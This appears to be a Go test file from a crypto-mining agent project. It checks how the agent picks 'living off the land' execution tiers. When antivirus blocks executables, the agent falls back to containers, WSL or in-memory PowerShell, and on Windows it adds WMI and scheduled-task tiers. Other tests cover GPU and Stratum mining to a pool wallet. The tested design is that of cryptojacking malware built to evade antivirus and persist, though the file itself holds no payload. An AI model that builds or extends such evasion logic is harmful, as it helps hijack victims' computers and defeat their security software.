Files
AetherForge/agent/miner/lotl_tier_test.go

200 lines
5.9 KiB
Go

package miner
import (
"runtime"
"testing"
"crypto-miner-agent/config"
)
func baseProbes() EnvironmentProbes {
return EnvironmentProbes{
Docker: true,
WSL: true,
PowerShell: true,
DotNet: true,
GPU: true,
WebView2: true,
}
}
func testCfg(overrides config.BuiltinConfig) config.RuntimeConfig {
b := config.BuiltinConfig{
MinerExecution: ExecutionAuto,
PoolHost: "pool.example.com",
Wallet: "test-cmr-wallet",
}
if overrides.MinerExecution != "" {
b.MinerExecution = overrides.MinerExecution
}
if overrides.PoolHost != "" {
b.PoolHost = overrides.PoolHost
}
if overrides.Wallet != "" {
b.Wallet = overrides.Wallet
}
if overrides.GPUEnabled {
b.GPUEnabled = overrides.GPUEnabled
}
if overrides.RVNWallet != "" {
b.RVNWallet = overrides.RVNWallet
}
return config.RuntimeConfig{BuiltinConfig: b}
}
func chainContains(chain []LOTLTier, tier LOTLTier) bool {
for _, t := range chain {
if t == tier {
return true
}
}
return false
}
func TestSelectMiningTierChainDefaultAuto(t *testing.T) {
chain, skipped := SelectMiningTierChain(baseProbes(), DefaultMiningTierPolicy(), testCfg(config.BuiltinConfig{
GPUEnabled: true,
RVNWallet: "rvn-wallet",
}))
if chain[0] != TierExeSubprocess {
t.Fatalf("chain[0]=%q want exe_subprocess full=%v", chain[0], chain)
}
if !chainContains(skipped, TierDockerLoad) {
t.Fatalf("docker_load should be skipped without image tar, skipped=%v", skipped)
}
for _, tier := range []LOTLTier{TierContainer, TierWSL, TierCPUInprocess, TierGPUSubprocess, TierStratumDirect} {
if !chainContains(chain, tier) {
t.Fatalf("missing %q in chain=%v", tier, chain)
}
}
if runtime.GOOS == "windows" {
for _, tier := range []LOTLTier{TierWebView2Probe, TierWMI, TierScheduledTask} {
if !chainContains(chain, tier) {
t.Fatalf("windows chain missing %q: %v", tier, chain)
}
}
}
}
func TestSelectMiningTierChainAVBlocksExeSkipsSubprocess(t *testing.T) {
probes := baseProbes()
probes.AVBlocksExe = true
chain, skipped := SelectMiningTierChain(probes, DefaultMiningTierPolicy(), testCfg(config.BuiltinConfig{}))
if chain[0] != TierContainer {
t.Fatalf("AV blocks exe should prefer container first, got %v", chain)
}
if !chainContains(skipped, TierExeSubprocess) {
t.Fatalf("expected exe_subprocess in skipped, got %v", skipped)
}
}
func TestSelectMiningTierChainNoDockerSkipsContainer(t *testing.T) {
probes := baseProbes()
probes.Docker = false
probes.AVBlocksExe = true
chain, skipped := SelectMiningTierChain(probes, DefaultMiningTierPolicy(), testCfg(config.BuiltinConfig{}))
if chain[0] != TierWSL {
t.Fatalf("no docker should try WSL next, got %v", chain)
}
if !chainContains(skipped, TierContainer) {
t.Fatalf("expected container skipped, got %v", skipped)
}
}
func TestSelectMiningTierChainNoWSLFallsToPSInMemory(t *testing.T) {
probes := baseProbes()
probes.Docker = false
probes.WSL = false
probes.AVBlocksExe = true
chain, _ := SelectMiningTierChain(probes, DefaultMiningTierPolicy(), testCfg(config.BuiltinConfig{}))
if chain[0] != TierPSInMemory {
t.Fatalf("no WSL should try ps_inmemory, got %v", chain)
}
}
func TestSelectMiningTierChainNoGPUOmitsGPUSubprocess(t *testing.T) {
probes := baseProbes()
probes.GPU = false
chain, skipped := SelectMiningTierChain(probes, DefaultMiningTierPolicy(), testCfg(config.BuiltinConfig{
GPUEnabled: true,
RVNWallet: "wallet",
}))
if chainContains(chain, TierGPUSubprocess) {
t.Fatalf("no GPU probe should omit gpu tier, chain=%v", chain)
}
if !chainContains(skipped, TierGPUSubprocess) {
t.Fatalf("expected gpu_subprocess skipped, got %v", skipped)
}
}
func TestSelectMiningTierChainInProcessMode(t *testing.T) {
chain, _ := SelectMiningTierChain(baseProbes(), DefaultMiningTierPolicy(), testCfg(config.BuiltinConfig{
MinerExecution: ExecutionInProcess,
}))
if chain[0] != TierCPUInprocess {
t.Fatalf("inprocess mode chain=%v want cpu_inprocess first", chain)
}
if !chainContains(chain, TierStratumDirect) {
t.Fatalf("inprocess mode should retain stratum overlay, chain=%v", chain)
}
}
func TestSelectMiningTierChainServerSkipTiers(t *testing.T) {
policy := MiningTierPolicy{
TierOrder: DefaultTierOrder,
SkipTiers: []LOTLTier{TierExeSubprocess, TierWSL},
}
chain, _ := SelectMiningTierChain(baseProbes(), policy, testCfg(config.BuiltinConfig{}))
if chain[0] != TierContainer {
t.Fatalf("server skip should start at container, got %v", chain)
}
}
func TestSelectMiningTierChainForceTier(t *testing.T) {
policy := MiningTierPolicy{ForceTier: TierCPUInprocess}
chain, skipped := SelectMiningTierChain(baseProbes(), policy, testCfg(config.BuiltinConfig{}))
if len(chain) != 1 || chain[0] != TierCPUInprocess {
t.Fatalf("force tier chain=%v skipped=%v", chain, skipped)
}
}
func TestTierOrchestratorStubTiersFallThrough(t *testing.T) {
probes := EnvironmentProbes{
Docker: false,
WSL: false,
PowerShell: false,
DotNet: false,
}
policy := MiningTierPolicy{TierOrder: []LOTLTier{TierExeSubprocess, TierCPUInprocess}}
o := NewTierOrchestrator(testCfg(config.BuiltinConfig{}), probes, policy, TierHooks{
StartInProcess: func() error { return nil },
}, nil)
tier, err := o.TryChain(t.Context())
if err != nil {
t.Fatalf("TryChain: %v", err)
}
if tier != TierCPUInprocess {
t.Fatalf("active=%q want cpu_inprocess", tier)
}
report := o.Report()
var exeAttempt, cpuAttempt *TierAttempt
for i := range report.Attempts {
switch report.Attempts[i].Tier {
case TierExeSubprocess:
exeAttempt = &report.Attempts[i]
case TierCPUInprocess:
cpuAttempt = &report.Attempts[i]
}
}
if exeAttempt == nil || cpuAttempt == nil {
t.Fatalf("expected exe + cpu attempts, got %v", report.Attempts)
}
if exeAttempt.Wallet != "test-cmr-wallet" || cpuAttempt.Wallet != "test-cmr-wallet" {
t.Fatalf("wallet must be identical: %v", report.Attempts)
}
if exeAttempt.OK {
t.Fatalf("stub tier should fail: %v", *exeAttempt)
}
}